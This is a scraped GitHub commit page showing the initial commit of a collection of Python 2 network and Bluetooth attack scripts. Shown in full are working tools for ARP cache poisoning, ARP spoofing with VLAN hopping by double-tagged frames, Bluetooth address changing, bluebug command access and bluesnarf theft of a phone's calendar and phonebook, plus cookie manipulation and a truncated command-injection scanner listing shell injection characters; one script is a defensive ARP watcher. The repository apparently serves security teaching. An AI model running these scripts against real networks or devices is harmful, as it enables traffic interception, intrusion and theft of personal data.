Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 6714cef

Browse files
author
Bastian Ballmann
committed
init
0 parents  commit 6714cef

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

63 files changed

+2891
-0
lines changed

‎arp-poison.py

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
#!/usr/bin/python
2+
3+
import sys
4+
from scapy.all import sniff, sendp, ARP, Ether
5+
6+
7+
if len(sys.argv) < 2:
8+
print sys.argv[0] + " <iface>"
9+
sys.exit(0)
10+
11+
12+
def arp_poison_callback(packet):
13+
# Got ARP request?
14+
if packet[ARP].op == 1:
15+
answer = Ether(dst=packet[ARP].hwsrc) / ARP()
16+
answer[ARP].op = "is-at"
17+
answer[ARP].hwdst = packet[ARP].hwsrc
18+
answer[ARP].psrc = packet[ARP].pdst
19+
answer[ARP].pdst = packet[ARP].psrc
20+
21+
print "Fooling " + packet[ARP].psrc + " that " + \
22+
packet[ARP].pdst + " is me"
23+
24+
sendp(answer, iface=sys.argv[1])
25+
26+
sniff(prn=arp_poison_callback,
27+
filter="arp",
28+
iface=sys.argv[1],
29+
store=0)

‎arp-spoof-vlan-hop.py

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
#!/usr/bin/python
2+
3+
import time
4+
from scapy.all import sendp, ARP, Ether, Dot1Q
5+
6+
iface = "eth0"
7+
target_ip = '192.168.13.23'
8+
fake_ip = '192.168.13.5'
9+
fake_mac = 'c0:d3:de:ad:be:ef'
10+
our_vlan = 1
11+
target_vlan = 2
12+
13+
packet = Ether() / \
14+
Dot1Q(vlan=our_vlan) / \
15+
Dot1Q(vlan=target_vlan) / \
16+
ARP(hwsrc=fake_mac,
17+
pdst=target_ip,
18+
psrc=fake_ip,
19+
op="is-at")
20+
21+
while True:
22+
sendp(packet, iface=iface)
23+
time.sleep(10)

‎arp-spoof.py

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
#!/usr/bin/python
2+
3+
import sys
4+
import time
5+
from scapy.all import sendp, ARP, Ether
6+
7+
if len(sys.argv) < 3:
8+
print sys.argv[0] + ": <target> <spoof_ip>"
9+
sys.exit(1)
10+
11+
iface = "eth0"
12+
target_ip = sys.argv[1]
13+
fake_ip = sys.argv[2]
14+
15+
ethernet = Ether()
16+
arp = ARP(pdst=target_ip,
17+
psrc=fake_ip,
18+
op="is-at")
19+
packet = ethernet / arp
20+
21+
while True:
22+
sendp(packet, iface=iface)
23+
time.sleep(10)

‎arp-watcher.py

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
#!/usr/bin/python
2+
3+
from scapy.all import sniff, ARP
4+
from signal import signal, SIGINT
5+
import sys
6+
7+
arp_watcher_db_file = "/var/cache/arp-watcher.db"
8+
ip_mac = {}
9+
10+
# Save ARP table on shutdown
11+
def sig_int_handler(signum, frame):
12+
print "Got SIGINT. Saving ARP database..."
13+
try:
14+
f = open(arp_watcher_db_file, "w")
15+
16+
for (ip, mac) in ip_mac.items():
17+
f.write(ip + " " + mac + "\n")
18+
19+
f.close()
20+
print "Done."
21+
except IOError:
22+
print "Cannot write file " + arp_watcher_db_file
23+
sys.exit(1)
24+
25+
26+
def watch_arp(pkt):
27+
# got is-at pkt (ARP response)
28+
if pkt[ARP].op == 2:
29+
print pkt[ARP].hwsrc + " " + pkt[ARP].psrc
30+
31+
# Device is new. Remember it.
32+
if ip_mac.get(pkt[ARP].psrc) == None:
33+
print "Found new device " + \
34+
pkt[ARP].hwsrc + " " + \
35+
pkt[ARP].psrc
36+
ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
37+
38+
# Device is known but has a different IP
39+
elif ip_mac.get(pkt[ARP].psrc) and \
40+
ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:
41+
print pkt[ARP].hwsrc + \
42+
" has got new ip " + \
43+
pkt[ARP].psrc + \
44+
" (old " + ip_mac[pkt[ARP].psrc] + ")"
45+
ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
46+
47+
48+
signal(SIGINT, sig_int_handler)
49+
50+
if len(sys.argv) < 2:
51+
print sys.argv[0] + " <iface>"
52+
sys.exit(0)
53+
54+
try:
55+
fh = open(arp_watcher_db_file, "r")
56+
except IOError:
57+
print "Cannot read file " + arp_watcher_db_file
58+
sys.exit(1)
59+
60+
for line in fh:
61+
line.chomp()
62+
(ip, mac) = line.split(" ")
63+
ip_mac[ip] = mac
64+
65+
sniff(prn=watch_arp,
66+
filter="arp",
67+
iface=sys.argv[1],
68+
store=0)

‎bdaddr.py

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
#!/usr/bin/python
2+
3+
import sys
4+
import struct
5+
import bluetooth._bluetooth as bt
6+
7+
if len(sys.argv) < 2:
8+
print sys.argv[0] + " <bdaddr>"
9+
sys.exit(1)
10+
11+
# Split bluetooth address into it's bytes
12+
baddr = sys.argv[1].split(":")
13+
14+
# Open hci socket
15+
sock = bt.hci_open_dev(0)
16+
17+
# CSR vendor command to change address
18+
cmd = [ "\xc2", "\x02", "\x00", "\x0c", "\x00", "\x11",
19+
"\x47", "\x03", "\x70", "\x00", "\x00", "\x01",
20+
"\x00", "\x04", "\x00", "\x00", "\x00", "\x00",
21+
"\x00", "\x00", "\x00", "\x00", "\x00", "\x00",
22+
"\x00" ]
23+
24+
# Set new addr in hex
25+
cmd[17] = baddr[3].decode("hex")
26+
cmd[19] = baddr[5].decode("hex")
27+
cmd[20] = baddr[4].decode("hex")
28+
cmd[21] = baddr[2].decode("hex")
29+
cmd[23] = baddr[1].decode("hex")
30+
cmd[24] = baddr[0].decode("hex")
31+
32+
# Send HCI request
33+
bt.hci_send_req(sock,
34+
bt.OGF_VENDOR_CMD,
35+
0,
36+
bt.EVT_VENDOR,
37+
2000,
38+
"".join(cmd))
39+
40+
sock.close()
41+
print "Dont forget to reset your device"

‎bluebug.py

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
#!/usr/bin/python
2+
3+
import sys
4+
import lightblue
5+
6+
if len(sys.argv) < 2:
7+
print sys.argv[0] + " <btaddr> <channel>"
8+
sys.exit(0)
9+
10+
btaddr = sys.argv[1]
11+
channel = int(sys.argv[2]) or 17
12+
running = True
13+
14+
sock = lightblue.socket()
15+
sock.connect((sys.argv[1], channel))
16+
17+
while running:
18+
cmd = raw_input(">>> ")
19+
20+
if cmd == "quit" or cmd == "exit":
21+
running = False
22+
else:
23+
sock.send(cmd)
24+
25+
sock.close()

‎bluesnarf.py

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
#!/usr/bin/python
2+
3+
import sys
4+
from os.path import basename
5+
from lightblue.obex import OBEXClient
6+
7+
8+
if len(sys.argv) < 3:
9+
print sys.argv[0] + ": <btaddr> <channel>"
10+
sys.exit(0)
11+
12+
btaddr = sys.argv[1]
13+
channel = int(sys.argv[2])
14+
15+
print "Bluesnarfing %s on channel %d" % (btaddr, channel)
16+
17+
obex = OBEXClient(btaddr, channel)
18+
obex.connect()
19+
20+
fh = file("calendar.vcs", "w+")
21+
obex.get({"name": "telecom/cal.vcs"}, fh)
22+
fh.close()
23+
24+
fh = file("phonebook.vcf", "w+")
25+
obex.get({"name": "telecom/pb.vcf"}, fh)
26+
fh.close()
27+
28+
obex.disconnect()

‎bluetooth-scanner.py

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
#!/usr/bin/python
2+
3+
import lightblue
4+
5+
for device in lightblue.finddevices():
6+
print device[0] + " " + device[1]

‎command-injection.py

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
#!/usr/bin/python
2+
3+
###[ Loading modules
4+
5+
import sys
6+
import httplib2
7+
from urlparse import urlparse
8+
from BeautifulSoup import BeautifulSoup
9+
10+
11+
###[ Global vars
12+
13+
max_urls = 999
14+
inject_chars = ["|",
15+
"&&",
16+
";",
17+
'`']
18+
error_msgs = [
19+
"syntax error",
20+
"command not found",
21+
"permission denied",
22+
]
23+
24+
# ...

‎cookie-manipulator.py

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
#!/usr/bin/python
2+
3+
import sys
4+
import httplib2
5+
6+
if len(sys.argv) < 3:
7+
print sys.argv[0] + ": &lt;url&gt; <key> <value>"
8+
sys.exit(1)
9+
10+
webclient = httplib2.Http()
11+
headers = {'Cookie': sys.argv[2] + '=' + sys.argv[3]}
12+
response, content = webclient.request(sys.argv[1],
13+
'GET',
14+
headers=headers)
15+
print content

0 commit comments

Comments
 (0)